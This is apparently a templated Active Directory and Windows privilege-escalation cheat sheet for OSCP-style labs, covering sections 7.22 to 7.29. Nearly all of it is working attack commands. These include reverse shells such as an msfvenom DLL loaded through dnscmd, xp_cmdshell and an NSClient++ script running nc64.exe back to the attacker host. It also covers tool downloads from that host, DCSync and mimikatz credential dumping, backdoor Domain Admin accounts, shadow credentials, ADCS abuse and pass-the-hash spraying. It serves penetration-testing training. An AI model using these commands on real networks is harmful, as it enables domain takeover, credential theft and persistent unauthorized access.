impacket-GetNPUsers {{DOMAIN}}/{{USER}}:{{PASS}} -dc-ip {{TARGET}} -request -format hashcat -output-file asrep.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt --force
{{WPATH}}\Rubeus.exe asreproast /format:hashcat /outFile:{{WPATH}}\asrep.txt
AD Recycle Bin - extract deleted object credentials
💡 Seen on AD machines - deleted users may still have password attributes recoverable from the recycle bin.
Get-ADObject -Filter {isDeleted -eq $true} -IncludeDeletedObjects -Properties * | Select Name,legacyExchangeDN,samaccountname,userPrincipalName,member
Get-ADObject -IncludeDeletedObjects -Filter {ObjectClass -eq "user" -and isDeleted -eq $true} -Properties * | Select Name,'msDS-LastKnownRDN',userPassword,description
📝 Notes
7.22
DNSAdmins - ServerLevelPluginDLL Hijack
Load a custom DLL as SYSTEM via DNS Server service
ADPRIVESC
⚠️ Condition Must be member of DNSAdmins group. DNS service restart required (~60s outage). DLL must be reachable via UNC (SMB) or local path - HTTP delivery does NOT work for dnscmd.
DETECT - confirm group membership
whoami /groups | findstr /i DnsAdmins
net group "DnsAdmins" /domain
net group may fail if group not found by that exact name - trust whoami /groups output
GET DC HOSTNAME - run before exploit (set DC_FQDN in varbar above)
# Method 1 - .NET reflection (no RSAT required, most reliable)
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().FindDomainController().Name
# Returns: Resolute.megabank.local  → copy to DC_FQDN varbar
# Method 2 - nltest (built-in binary, fast)
nltest /dsgetdc:$env:USERDOMAIN
# Look for "DC: \\<hostname>" line
# Method 3 - quick check (may be empty on WinRM sessions)
$env:LOGONSERVER
KALI - BUILD DLL + START LISTENER
cd /home/kali && mkdir -p share && cd share
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{KALI_IP}} LPORT={{RPORT}} -f dll -o dns.dll
# Start listener (separate terminal)
nc -lvnp {{RPORT}}
KALI - SMB SHARE (required - HTTP does not work for dnscmd)
sudo impacket-smbserver share /home/kali/share -smb2support
TARGET - verify SMB reachable
dir \\{{KALI_IP}}\share\dns.dll
BACKUP - save current DNS plugin config
reg query HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll 2>nul
reg export HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters {{WPATH}}\dns_params_backup.reg /y
EXPLOIT - register DLL + restart DNS
# Set DLL via UNC path (DC_FQDN from GET DC HOSTNAME step above)
dnscmd {{DC_FQDN}} /config /serverlevelplugindll \\{{KALI_IP}}\share\dns.dll

# Verify registry was written
reg query "HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v ServerLevelPluginDll
# Restart DNS - PowerShell does NOT support && - use sc.exe with remote DC
sc.exe \\{{DC_FQDN}} stop dns
sc.exe \\{{DC_FQDN}} start dns
&& is CMD-only syntax - invalid in PowerShell. Always use two separate sc.exe commands.
POST-SYSTEM - escalate (choose one)
# Option A - add current user to Domain Admins
net group "Domain Admins" {{USER}} /add /domain
net group "Domain Admins" /domain
# Option B - create new backdoor DA (more reliable; survives password changes)
# Set BD_USER and BD_PASS in varbar above
net user {{BD_USER}} {{BD_PASS}} /add /domain
net group "Domain Admins" {{BD_USER}} /add /domain
net group "Domain Admins" /domain
# Option C - DCSync (dump all hashes; no persistence needed)
# Run from Kali after catching SYSTEM shell:
impacket-secretsdump {{DOMAIN}}/{{USER}}:{{PASS}}@{{TARGET}} -dc-ip {{TARGET}}
REVERT - remove DNS plugin and restore service
dnscmd {{DC_FQDN}} /config /serverlevelplugindll ""
reg delete HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll /f
sc.exe \\{{DC_FQDN}} stop dns
sc.exe \\{{DC_FQDN}} start dns
⚠ PowerShell note && is CMD syntax only - not valid in PowerShell. Use separate sc.exe \\{{DC_FQDN}} stop dns then sc.exe \\{{DC_FQDN}} start dns.
💡 HTTP vs SMB dnscmd /serverlevelplugindll only accepts a local path or UNC path (\\KALI\share\dll). HTTP URLs are not supported - DNS service cannot load a DLL over HTTP.
📝 Notes
7.23
DCSync & ACL Abuse
Dump all domain hashes - requires DS-Replication-Get-Changes-All
ADCREDS
⚠️ Condition User needs DS-Replication-Get-Changes and DS-Replication-Get-Changes-All ACEs on the domain root. Domain Admins, Enterprise Admins, and DC machine accounts have this by default.
DCSync from Kali (impacket-secretsdump)
impacket-secretsdump {{DOMAIN}}/{{USER}}:{{PASS}}@{{TARGET}} -dc-ip {{TARGET}}
impacket-secretsdump {{DOMAIN}}/{{USER}}@{{TARGET}} -hashes :NTLM_HASH -dc-ip {{TARGET}}
impacket-secretsdump {{DOMAIN}}/{{USER}}:{{PASS}}@{{TARGET}} -just-dc-user Administrator
DCSync from Windows (mimikatz)
{{WPATH}}\mimikatz.exe "lsadump::dcsync /user:{{DOMAIN}}\Administrator" exit
{{WPATH}}\mimikatz.exe "lsadump::dcsync /domain:{{DOMAIN}} /all /csv" exit
WriteDACL Enumeration (Forest / ACL chain attacks)
💡 Seen on: Forest (HTB) If a user has WriteDACL on domain object, they can grant themselves DCSync rights.
Enumerate who has WriteDACL on domain object
Get-DomainObjectAcl -SearchBase "DC={{DOMAIN}},DC=com" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "WriteDacl"}
Grant yourself DCSync rights via WriteDACL
Add-DomainObjectAcl -TargetIdentity "DC={{DOMAIN}},DC=com" -PrincipalIdentity {{USER}} -Rights DCSync -Verbose
Verify DCSync rights were granted
Get-DomainObjectAcl -SearchBase "DC={{DOMAIN}},DC=com" -ResolveGUIDs | ? {$_.IdentityReferenceName -eq "{{USER}}"}
GenericAll / Full Control on User Object - Password Reset
💡 Seen on: Internal (HTB), many AD boxes GenericAll on a user lets you reset their password, add them to groups, or grant them extra rights. No need for their current password.
Enumerate who you have GenericAll/Full Control over
Get-DomainObjectAcl -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteOwner|WriteDACL" -and $_.SecurityIdentifier -match (ConvertTo-SID {{USER}})}
Reset target user's password (GenericAll on user object)
$pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity target_user -AccountPassword $pass -Verbose
Alternative: net user (if domain context available)
net user target_user Password123! /domain
Add user to group (GenericAll on group)
Add-DomainGroupMember -Identity 'Domain Admins' -Members {{USER}} -Verbose
Check AD user description fields for passwords
Get-ADUser -Filter * -Properties Description | Where-Object {$_.Description} | Select Name,Description
Get-DomainUser * -Properties description | Where-Object {$_.description} | Select name,description
ACL Abuse - grant yourself DCSync rights (PowerView)
Add-DomainObjectAcl -TargetIdentity "DC={{DOMAIN}},DC=com" -PrincipalIdentity {{USER}} -Rights DCSync -Verbose
Get-DomainObjectAcl -SearchBase "DC={{DOMAIN}},DC=com" -ResolveGUIDs | ? {$_.IdentityReferenceName -eq "{{USER}}"}
Pass the Hash after DCSync
impacket-psexec {{DOMAIN}}/Administrator@{{TARGET}} -hashes :NTLM_HASH
impacket-wmiexec {{DOMAIN}}/Administrator@{{TARGET}} -hashes :NTLM_HASH
evil-winrm -i {{TARGET}} -u Administrator -H NTLM_HASH
📝 Notes
7.24
Shadow Credentials & RBCD
GenericAll/GenericWrite on computer$ → shadow cert → TGT → impersonate Admin
ADPRIVESC
💡 Seen on: Resourced (PG), many AD boxes If you have GenericAll/GenericWrite on a computer object, you can add shadow credentials (msDS-KeyCredentialLink) via Whisker, then request a TGT as that computer, then use S4U2self to impersonate Administrator.
⚠️ Requirements: DC must be Win Server 2016+ | Domain functional level 2016+ | PKINIT enabled
1. DETECT - find GenericAll/Write on computer objects
Get-DomainObjectAcl -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll|GenericWrite" -and $_.ObjectType -match "computer"}
# Or with PowerView:
Find-InterestingDomainAcl -ResolveGUIDs | ? {$_.IdentityReferenceName -match "{{USER}}"}
# BloodHound - mark user as owned, run "Shortest Path from Owned"
# Look for GenericAll/GenericWrite edges on computer nodes
TRANSFER tools
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/Whisker.exe {{WPATH}}\Whisker.exe
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/Rubeus.exe {{WPATH}}\Rubeus.exe
2. EXPLOIT - add shadow credentials via Whisker
# Add shadow credential (generates certificate + password)
{{WPATH}}\Whisker.exe add /target:COMPUTER$ /domain:{{DOMAIN}} /dc:DC_HOSTNAME /path:{{WPATH}}\cert.pfx /password:ShadowCred123!
# Whisker will output the exact Rubeus command to use next - copy it!
3. GET TGT - request ticket using certificate
# Use the EXACT command Whisker outputs, or:
{{WPATH}}\Rubeus.exe asktgt /user:COMPUTER$ /certificate:{{WPATH}}\cert.pfx /password:ShadowCred123! /domain:{{DOMAIN}} /dc:DC_IP /getcredentials /show /nowrap
# This gives you: NT Hash for COMPUTER$, and Base64 TGT ticket
4. IMPERSONATE - S4U2self to get admin ticket
# Use TGT to impersonate Administrator via S4U2self
{{WPATH}}\Rubeus.exe s4u /ticket:BASE64_TGT /impersonateuser:Administrator /ptt
# Or pass NT hash of COMPUTER$ directly:
{{WPATH}}\Rubeus.exe s4u /user:COMPUTER$ /rc4:NT_HASH_OF_COMPUTER /impersonateuser:Administrator /msdsspn:cifs/COMPUTER.{{DOMAIN}} /ptt
5. VERIFY - access as Administrator
dir \\COMPUTER\C$
# Or use Pass-the-Hash with the extracted NTLM hash:
impacket-psexec {{DOMAIN}}/Administrator@{{TARGET}} -hashes :NTLM_HASH
RESTORE - remove shadow credential
{{WPATH}}\Whisker.exe remove /target:COMPUTER$ /domain:{{DOMAIN}} /dc:DC_HOSTNAME /deviceid:DEVICE_ID_FROM_LIST
# First list to get Device ID:
{{WPATH}}\Whisker.exe list /target:COMPUTER$ /domain:{{DOMAIN}}
Alternative: RBCD - Resource-Based Constrained Delegation
💡 Alternate path If you have GenericWrite on a computer, you can set its msDS-AllowedToActOnBehalfOfOtherIdentity to an attacker-controlled machine account, then S4U2self+S4U2proxy to get a service ticket as Administrator.
Create attacker machine account (if MachineAccountQuota > 0)
impacket-addcomputer {{DOMAIN}}/{{USER}}:{{PASS}} -computer-name ATTACKER$ -computer-pass AttackerPass123!
Set RBCD on target computer (GenericWrite needed)
Set-DomainObject COMPUTER$ -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SD} -Verbose
# Where $SD is the security descriptor of ATTACKER$:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$(Get-ADComputer ATTACKER$).SID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get service ticket (impersonate Administrator)
impacket-getST {{DOMAIN}}/ATTACKER$:'AttackerPass123!' -spn cifs/COMPUTER.{{DOMAIN}} -impersonate Administrator -dc-ip {{TARGET}}
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass {{DOMAIN}}/Administrator@COMPUTER.{{DOMAIN}}
📝 Notes
7.24b
MSSQL Privilege Escalation
xp_cmdshell + linked servers - common on OSCP AD boxes (Control, Querier, Escape)
PRIVESCEXPLOIT
💡 When to use: Any time you find MSSQL running or have a domain credential - try SA or Windows auth. xp_cmdshell gives OS command execution in MSSQL service account context (often SYSTEM or NT SERVICE\MSSQLSERVER with SeImpersonate).
1. DETECT - find MSSQL and connect
Find MSSQL port and connect from Kali
nmap -p 1433,1434 {{TARGET}} -sV
# Connect with impacket:
impacket-mssqlclient {{DOMAIN}}/{{USER}}:{{PASS}}@{{TARGET}} -windows-auth  # Windows auth
impacket-mssqlclient ./{{USER}}:{{PASS}}@{{TARGET}}        # local SQL auth
impacket-mssqlclient {{USER}}:{{PASS}}@{{TARGET}}          # SA auth
Check current context and permissions
SELECT SYSTEM_USER, USER_NAME(), IS_SRVROLEMEMBER('sysadmin');
SELECT name FROM sys.databases;
-- sysadmin = 1 → can enable xp_cmdshell directly
2. CONFIRM - enable xp_cmdshell (requires sysadmin)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- Output should show the MSSQL service account (often has SeImpersonate → potatoes!)
3. EXPLOIT - OS command execution → reverse shell
Drop reverse shell via xp_cmdshell
EXEC xp_cmdshell 'powershell -c "iwr http://{{KALI_IP}}:{{PORT}}/windows/nc64.exe -o C:\Windows\Temp\nc.exe"';
EXEC xp_cmdshell 'C:\Windows\Temp\nc.exe {{KALI_IP}} {{RPORT}} -e cmd.exe';
If not sysadmin - capture NTLMv2 hash via xp_dirtree (no xp_cmdshell needed)
-- On Kali: responder -I eth0 -wrf
-- On MSSQL:
EXEC xp_dirtree '\\{{KALI_IP}}\share\', 1, 1;
-- Crack captured hash: hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
Linked server exploitation (may run as sysadmin on linked server)
SELECT * FROM sys.servers;  -- list linked servers
-- Execute on linked server:
EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER_NAME];
-- Enable xp_cmdshell on linked server:
EXEC ('sp_configure ''show advanced options'',1;RECONFIGURE') AT [LINKED_SERVER];
EXEC ('sp_configure ''xp_cmdshell'',1;RECONFIGURE') AT [LINKED_SERVER];
EXEC ('xp_cmdshell ''net user pwned Password123! /add''') AT [LINKED_SERVER];
💡 Long output truncated at 255 chars per row. Use a temp table for full output: CREATE TABLE #tmp (out NVARCHAR(4000)); INSERT INTO #tmp EXEC xp_cmdshell 'whoami /all'; SELECT * FROM #tmp; DROP TABLE #tmp;
4. VERIFY - if MSSQL runs as service with SeImpersonate → instant SYSTEM via potato
-- From your shell as MSSQL service account:
whoami /priv | findstr SeImpersonate
-- If Enabled → immediately run GodPotato:
{{WPATH}}\GodPotato-NET4.exe -cmd "{{WPATH}}\nc64.exe -e cmd.exe {{KALI_IP}} {{RPORT}}"
📝 Notes
7.24c
ADCS - Active Directory Certificate Services
ESC1/ESC4/ESC8 - the #1 AD privesc vector on modern OSCP+ boxes (Escape, Authority, Outdated)
PRIVESCADNEW
💡 Check this FIRST on any AD machine - before BloodHound, before Kerberoasting. certipy find -vulnerable takes 10 seconds and often gives a direct path to Domain Admin.
1. DETECT - find vulnerable certificate templates
From Kali (authenticated domain user required)
certipy find -u {{USER}}@{{DOMAIN}} -p '{{PASS}}' -dc-ip {{TARGET}} -vulnerable -text
# Hashes also work:
certipy find -u {{USER}}@{{DOMAIN}} -hashes :NTLM_HASH -dc-ip {{TARGET}} -vulnerable -text
From Windows target (no tools, check if ADCS web enrollment is running)
curl -s -k http://{{TARGET}}/certsrv/ 2>nul && echo "ADCS web enrollment detected"
certutil -config - -ping 2>nul | findstr "Config"
2. CONFIRM - understand which ESC applies
ESC1 - template allows enrollee to specify SubjectAltName (SAN) + used for Client Auth
-- certipy output shows: "ESC1" under Vulnerabilities
-- Key flags: msPKI-Certificate-Name-Flag = ENROLLEE_SUPPLIES_SUBJECT
-- Key EKU: Client Authentication (1.3.6.1.5.5.7.3.2)
ESC4 - you have WriteProperty on a template → can make it ESC1-vulnerable
-- certipy output shows: "ESC4" under Vulnerabilities
3. EXPLOIT - ESC1: request cert as Administrator, then auth
Step 1: request certificate with Administrator UPN
certipy req -u {{USER}}@{{DOMAIN}} -p '{{PASS}}' -ca '{{DOMAIN}}-CA' \
  -template 'VulnerableTemplate' -upn Administrator@{{DOMAIN}} -dc-ip {{TARGET}}
Step 2: authenticate with certificate → get NT hash
certipy auth -pfx administrator.pfx -dc-ip {{TARGET}}
# Returns: Administrator's NT hash
Step 3: use NT hash (Pass-the-Hash)
evil-winrm -i {{TARGET}} -u Administrator -H NT_HASH
impacket-psexec {{DOMAIN}}/Administrator@{{TARGET}} -hashes :NT_HASH
ESC4 - first make template ESC1-vulnerable, then exploit as ESC1
certipy template -u {{USER}}@{{DOMAIN}} -p '{{PASS}}' -template 'VulnerableTemplate' -save-old -dc-ip {{TARGET}}
# Then follow ESC1 steps above
# Restore when done:
certipy template -u {{USER}}@{{DOMAIN}} -p '{{PASS}}' -template 'VulnerableTemplate' -configuration old.json
4. VERIFY / TROUBLESHOOT
# If certipy auth fails with PKINIT error → PKINIT not available on DC
# Workaround - use LDAP Schannel auth instead:
certipy auth -pfx administrator.pfx -ldap-shell -dc-ip {{TARGET}}
# If ESC1 shows "Reason: User is not allowed to enroll" → find a template your user CAN enroll in
📝 Notes
7.24
NSClient++ - Privileged Script Execution
Abuse NSClient++ API to execute scripts as SYSTEM
EXPLOITPRIVESC
⚠️ Condition NSClient++ must be running (check services). Usually configured to only accept connections from localhost - use port forwarding.
DETECT
sc query nscp
netstat -ano | findstr 8443
type "C:\Program Files\NSClient++\nsclient.ini"
GET PASSWORD
type "C:\Program Files\NSClient++\nsclient.ini" | findstr /i password
SETUP TUNNEL
ssh -L 8443:127.0.0.1:8443 {{USER}}@{{TARGET}}
EXPLOIT
curl -s -k -u admin:PASSWORD https://localhost:8443/api/v1/scripts/ext?all=true
Upload and execute reverse shell
⚠️ Must use -X PUT for script upload - POST/default method will fail. Create the bat file locally first, then PUT it.
TRANSFER - download nc64.exe to target first
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/nc64.exe -Outfile {{WPATH}}\nc64.exe
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/nc64.exe {{WPATH}}\nc64.exe - CMD fallback
Step 1: Create the bat script locally on Windows target
echo @echo off > {{WPATH}}\evil.bat
echo {{WPATH}}\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd.exe >> {{WPATH}}\evil.bat
Step 2: Upload script via PUT (from Kali via SSH tunnel)
curl -s -k -u admin:PASSWORD -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/evil.bat --data-binary "@evil.bat"
Step 3: Verify script was uploaded
curl -s -k -u admin:PASSWORD https://localhost:8443/api/v1/scripts/ext?all=true
Step 4: Execute (Kali: nc -lvnp {{RPORT}} first)
curl -s -k -u admin:PASSWORD https://localhost:8443/api/v1/queries/evil/commands/execute?time=3m
Alternative - create bat on Kali, transfer to target, then PUT
# On Kali: create bat file
printf '@echo off\r\n{{WPATH}}\\nc64.exe {{KALI_IP}} {{RPORT}} -e cmd.exe\r\n' > /tmp/evil.bat
# Then from Kali (after SSH tunnel): upload via PUT
curl -s -k -u admin:PASSWORD -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/evil.bat --data-binary "@/tmp/evil.bat"
📝 Notes
7.25
Chisel - TCP Tunneling & Port Forwarding
Create SOCKS5 proxies and port forwards through firewalls
UTIL
SOCKS5 Proxy - access internal network from Kali
KALI - start server
chisel server -p 8081 --reverse
TRANSFER chisel to target
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/chisel.exe {{WPATH}}\chisel.exe
TARGET - connect back and create SOCKS5
{{WPATH}}\chisel.exe client {{KALI_IP}}:8081 R:socks
KALI - route tools through proxy
proxychains nmap -sT -p 22,80,443,3306,3389,5985 {{TARGET}}
proxychains impacket-psexec {{DOMAIN}}/{{USER}}:{{PASS}}@INTERNAL_IP
Local port forward - expose internal port to Kali
KALI server
chisel server -p 8081 --reverse
TARGET - forward internal:PORT to Kali:LOCAL_PORT
{{WPATH}}\chisel.exe client {{KALI_IP}}:8081 R:LOCAL_PORT:127.0.0.1:INTERNAL_PORT
# Example: forward NSClient++ port 8443 to Kali localhost:8443
{{WPATH}}\chisel.exe client {{KALI_IP}}:8081 R:8443:127.0.0.1:8443
plink.exe alternative (PuTTY)
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/plink.exe {{WPATH}}\plink.exe
echo y | {{WPATH}}\plink.exe -ssh -l root -pw {{PASS}} -R 0.0.0.0:{{RPORT}}:127.0.0.1:{{RPORT}} {{KALI_IP}}
📝 Notes
7.26
Tool Workflow Guides
Step-by-step usage for major Windows tools
ENUMCREDS
winPEAS - Full Windows Enum
TRANSFER & RUN
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/winPEASx64.exe {{WPATH}}\wp.exe && {{WPATH}}\wp.exe
iwr http://{{KALI_IP}}:{{PORT}}/windows/winPEASx64.exe -OutFile {{WPATH}}\wp.exe; {{WPATH}}\wp.exe | Tee-Object {{WPATH}}\wp_out.txt
🎨 winPEAS Color Guide - Critical for exam speed:
  • RED = Critical finding - high-confidence privesc vector. Check IMMEDIATELY.
  • YELLOW = Interesting / worth investigating. May be a privesc path.
  • GREEN = Low risk / info. Usually safe to skip during exam time pressure.
  • CYAN/BLUE = Info banners and section headers.
Priority order when reading winPEAS output:
1. Token privileges (RED = SeImpersonate/SeBackup = instant win)
2. Unquoted service paths (RED = unquoted path in user-writable dir)
3. Modifiable service binaries (RED = write permission on .exe)
4. Registry keys with weak ACLs (RED = writeable ImagePath)
5. AlwaysInstallElevated (RED = both keys set to 1)
6. Interesting files with credentials (YELLOW = config files with passwords)
💡 Key sections in output: [+] Interesting Services, [+] Token privileges, [+] AlwaysInstallElevated, [+] Unquoted paths, [+] PowerShell History, [+] Interesting files/creds
RDP Access - xfreerdp / rdesktop
Connect via RDP (xfreerdp - preferred)
xfreerdp /u:{{USER}} /p:{{PASS}} /v:{{TARGET}}
xfreerdp /u:{{USER}} /p:{{PASS}} /v:{{TARGET}} /cert:ignore /drive:share,/home/kali/privesc-toolkit
RDP with NTLM hash (Pass-the-Hash)
xfreerdp /u:{{USER}} /pth:NTLM_HASH /v:{{TARGET}} /cert:ignore
rdesktop alternative
rdesktop -u {{USER}} -p {{PASS}} {{TARGET}}
rdesktop -u {{USER}} -p {{PASS}} {{TARGET}}:3389 -g 1280x800
SMB Enumeration & Mounting
List SMB shares from Kali
smbclient -L //{{TARGET}} -U {{USER}}%{{PASS}}
smbclient -L //{{TARGET}} -N                      # Null/anonymous
crackmapexec smb {{TARGET}} --shares -u {{USER}} -p {{PASS}}
Mount SMB share on Windows target (net use)
net use Z: \\{{KALI_IP}}\share /user:guest ""     # Mount Kali share
net use Z: \\{{TARGET}}\ShareName /user:{{USER}} {{PASS}}   # Mount target share
net use Z: /delete                                # Unmount
Mount SMB share on Kali
sudo mount -t cifs //{{TARGET}}/share /mnt/smb -o username={{USER}},password={{PASS}}
sudo umount /mnt/smb
Seatbelt - Host Survey
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/Seatbelt.exe {{WPATH}}\sb.exe
{{WPATH}}\sb.exe -group=system
{{WPATH}}\sb.exe -group=all 2>&1 | Tee-Object {{WPATH}}\sb_out.txt
{{WPATH}}\sb.exe TokenPrivileges WindowsDefender McAfeeSiteAdvisor AV Processes
mimikatz - Full Credential Extraction Workflow
TRANSFER
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/x64/mimikatz.exe {{WPATH}}\mimi.exe
EXTRACT all credentials
{{WPATH}}\mimi.exe "privilege::debug" "sekurlsa::logonpasswords" "sekurlsa::wdigest" "vault::cred" "lsadump::sam" exit
SAM dump (online - live registry, requires SYSTEM/admin)
{{WPATH}}\mimi.exe "privilege::debug" "lsadump::sam" exit
NTDS / DCSync
{{WPATH}}\mimi.exe "privilege::debug" "lsadump::dcsync /domain:{{DOMAIN}} /all /csv" exit
Pass the Hash
{{WPATH}}\mimi.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:{{DOMAIN}} /ntlm:NTLM_HASH /run:cmd.exe" exit
Rubeus - Kerberos Attack Workflow
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/Rubeus.exe {{WPATH}}\Rubeus.exe
{{WPATH}}\Rubeus.exe kerberoast /format:hashcat /outFile:{{WPATH}}\roast.txt
{{WPATH}}\Rubeus.exe asreproast /format:hashcat /outFile:{{WPATH}}\asrep.txt
{{WPATH}}\Rubeus.exe dump /service:krbtgt /nowrap
{{WPATH}}\Rubeus.exe ptt /ticket:BASE64_TICKET
Crack on Kali
hashcat -m 13100 {{WPATH}}\roast.txt /usr/share/wordlists/rockyou.txt --force
SharpHound + BloodHound - AD Graph
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/SharpHound.exe {{WPATH}}\sh.exe
{{WPATH}}\sh.exe -c All --zipfilename {{WPATH}}\bh.zip
{{WPATH}}\sh.exe -c All,GPOLocalGroup --zipfilename {{WPATH}}\bh.zip
From Kali (no agent needed - use with valid creds)
bloodhound-python -u {{USER}} -p {{PASS}} -d {{DOMAIN}} -ns {{TARGET}} -c All --zip
# BloodHound queries to run after import:
# "Find Shortest Paths to Domain Admins"
# "Find Principals with DCSync Rights"
# "Shortest Path from Owned Principals"
# "Users with Most Local Admin Rights"
📝 Notes
7.27
Pass-the-Hash (PtH)
Authenticate using NTLM hash without cracking - from Kali or Windows
CREDSPRIVESC
💡 When to use: You have an NTLM hash from SAM dump, secretsdump, LSASS, or mimikatz. Pass it directly to authenticate without needing the plaintext password. Works for local and domain accounts.
Obtain the hash first
From SAM dump (local accounts)
impacket-secretsdump -system system.hive -sam sam.hive local
# Output format: Administrator:500:LM_HASH:NT_HASH:::
# Use the NT_HASH (right side after second colon)
From LSASS (requires SYSTEM/SeDebug)
{{WPATH}}\mimi.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# Copy "NTLM" hash value from output
From DCSync
impacket-secretsdump {{DOMAIN}}/{{USER}}:{{PASS}}@{{TARGET}} -just-dc-user Administrator
PtH from Kali - impacket tools
psexec - spawns cmd.exe as SYSTEM (requires Admin share access)
impacket-psexec {{DOMAIN}}/{{USER}}@{{TARGET}} -hashes :NTLM_HASH
wmiexec - quieter, no new service, semi-interactive shell
impacket-wmiexec {{DOMAIN}}/{{USER}}@{{TARGET}} -hashes :NTLM_HASH
smbexec - no binary upload, uses existing SMB shares
impacket-smbexec {{DOMAIN}}/{{USER}}@{{TARGET}} -hashes :NTLM_HASH
Local account (no domain - use . or WORKGROUP)
impacket-psexec ./Administrator@{{TARGET}} -hashes :NTLM_HASH
impacket-psexec WORKGROUP/Administrator@{{TARGET}} -hashes :NTLM_HASH
PtH via evil-winrm (WinRM port 5985)
evil-winrm -i {{TARGET}} -u {{USER}} -H NTLM_HASH
evil-winrm -i {{TARGET}} -u Administrator -H NTLM_HASH
Upload file within evil-winrm session
upload /home/kali/privesc-toolkit/shell.exe C:\Temp\shell.exe
PtH via crackmapexec - spray & validate
Validate hash (Pwn3d! = local admin)
crackmapexec smb {{TARGET}} -u {{USER}} -H NTLM_HASH
Spray hash across subnet
crackmapexec smb 192.168.1.0/24 -u Administrator -H NTLM_HASH --local-auth
Execute command
crackmapexec smb {{TARGET}} -u {{USER}} -H NTLM_HASH -x "whoami"
Dump SAM remotely
crackmapexec smb {{TARGET}} -u {{USER}} -H NTLM_HASH --sam
PtH from Windows - mimikatz sekurlsa::pth
TRANSFER - download mimikatz to target first
iwr -uri http://{{KALI_IP}}:{{PORT}}/windows/x64/mimikatz.exe -Outfile {{WPATH}}\mimi.exe
certutil -urlcache -split -f http://{{KALI_IP}}:{{PORT}}/windows/x64/mimikatz.exe {{WPATH}}\mimi.exe - CMD fallback
Spawn a new cmd.exe process with the hash injected
{{WPATH}}\mimi.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:{{DOMAIN}} /ntlm:NTLM_HASH /run:cmd.exe" exit
Spawn PowerShell with hash
{{WPATH}}\mimi.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:{{DOMAIN}} /ntlm:NTLM_HASH /run:powershell.exe" exit
📝 Notes
7.28
GPP / Group Policy Preferences - cpassword
Encrypted passwords in SYSVOL - decryptable with gpp-decrypt
CREDSAD
⚠️ When to use: In old AD environments (pre-MS14-025). Group Policy Preferences stored local admin passwords in SYSVOL in AES-256 - but Microsoft published the key. Any domain user can read SYSVOL and decrypt.
DETECT - search SYSVOL for cpassword
# From Windows target (domain-joined) - CMD
findstr /S /I cpassword \\{{DOMAIN}}\SYSVOL\{{DOMAIN}}\Policies\*.xml 2>nul
# From Windows target - PowerShell (no extra tools)
Get-ChildItem -Path "\\{{DOMAIN}}\SYSVOL" -Recurse -Filter "*.xml" -ErrorAction SilentlyContinue |
  Select-String -Pattern "cpassword" | Select-Object Path,Line
# From Kali (using SMB)
smbclient \\\\{{TARGET}}\\SYSVOL -U {{USER}}%{{PASS}}
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
# Search downloaded files for cpassword (Kali)
grep -r "cpassword" . --include="*.xml"
find . -name "*.xml" -exec grep -l "cpassword" {} \;
IDENTIFY - extract the encrypted value
cat Groups.xml | grep -i cpassword
# The cpassword value looks like: edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw+6rTWUA==
DECRYPT - gpp-decrypt on Kali
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw+6rTWUA=='
# Or use metasploit module:
# use post/windows/gather/credentials/gpp
ALTERNATIVE - PowerShell enumeration on target
iwr -uri http://{{KALI_IP}}:{{PORT}}/scripts/Get-GPPPassword.ps1 -Outfile {{WPATH}}\Get-GPPPassword.ps1
. {{WPATH}}\Get-GPPPassword.ps1; Get-GPPPassword
# Built-in PowerView alternative:
Get-GPPAutologon
USE CREDENTIALS
# Test recovered password
crackmapexec smb {{TARGET}} -u {{USER}} -p 'RecoveredPassword'
evil-winrm -i {{TARGET}} -u {{USER}} -p 'RecoveredPassword'
impacket-psexec {{DOMAIN}}/{{USER}}:'RecoveredPassword'@{{TARGET}}
📝 Notes
7.29
ADS - Alternate Data Streams & Hidden Files
Hidden credentials and files attached to NTFS filesystem entries
ENUMCREDS
